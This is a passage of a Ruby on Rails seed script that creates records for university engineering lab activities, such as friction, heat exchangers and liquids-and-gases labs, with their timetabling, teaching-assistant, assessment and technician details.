kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a201.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a201.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a201.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a201.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a201.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a202 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"511\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: false, in_drive: false, user_id: 5)\n at202 = ActivityTimetable.where(activity_id: a202.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at202.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a202.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j42pak3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a202.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a202.id).first_or_create!(assess_weight: nil, notes: \"Not assessed MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a202.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a202.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a203 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 5)\n at203 = ActivityTimetable.where(activity_id: a203.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a203.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a203.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a203.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a203.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a203.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a204 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR134\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 1)\n at204 = ActivityTimetable.where(activity_id: a204.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a204.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a204.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a204.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a204.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a204.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a205 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at205 = ActivityTimetable.where(activity_id: a205.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a205.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a205.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a205.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a205.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a205.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a206 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at206 = ActivityTimetable.where(activity_id: a206.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a206.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a206.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a206.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a206.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a206.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a207 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"514\").first_or_create!(name: \"Heat engines 2\",\n name_abrv: \"HEATENG2\", archived: false, in_drive: false, user_id: 4)\n at207 = ActivityTimetable.where(activity_id: a207.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a207.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a207.id).first_or_create!(criteria: \"\",\n job_desc:\"Straightforward demonstration of open and closed heat engines systems\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a207.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a207.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a207.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a208 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at208 = ActivityTimetable.where(activity_id: a208.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a208.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"link\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a208.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 20.0)\n ActivityAssess.where(activity_id: a208.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a208.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a208.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a209 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 4)\n at209 = ActivityTimetable.where(activity_id: a209.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a209.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a209.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a209.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a209.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a209.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a210 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at210 = ActivityTimetable.where(activity_id: a210.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a210.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a210.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a210.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a210.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a210.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a211 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 1)\n at211 = ActivityTimetable.where(activity_id: a211.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a211.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a211.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a211.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a211.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a211.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a212 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 4)\n at212 = ActivityTimetable.where(activity_id: a212.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a212.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a212.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a212.id).first_or_create!(assess_weight: 5.0, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a212.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a212.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a213 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 3)\n at213 = ActivityTimetable.where(activity_id: a213.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a213.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a213.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a213.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a213.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a213.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a214 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 3)\n at214 = ActivityTimetable.where(activity_id: a214.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a214.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a214.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a214.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a214.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a214.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a215 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"517\").first_or_create!(name: \"Inertia\",\n name_abrv: \"INERTIA\", archived: false, in_drive: false, user_id: 2)\n at215 = ActivityTimetable.where(activity_id: a215.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a215.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a215.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring torque and acceleration using LabVIEW and motor apparatus to calculate inertia of a flywheel - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a215.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a215.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a215.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a216 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 2)\n at216 = ActivityTimetable.where(activity_id: a216.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a216.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jktbdqt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a216.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a216.id).first_or_create!(assess_weight: 2.5, notes: \"Post lab quiz preferred or short assignment. Previously, the assignment has consisted of a number of questions.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a216.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a216.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a217 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 3)\n at217 = ActivityTimetable.where(activity_id: a217.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a217.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a217.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a217.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a217.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a217.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a218 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at218 = ActivityTimetable.where(activity_id: a218.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a218.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a218.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a218.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a218.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a218.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a219 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: true, in_drive: false, user_id: 3)\n at219 = ActivityTimetable.where(activity_id: a219.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a219.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a219.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a219.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a219.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a219.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a220 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at220 = ActivityTimetable.where(activity_id: a220.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n 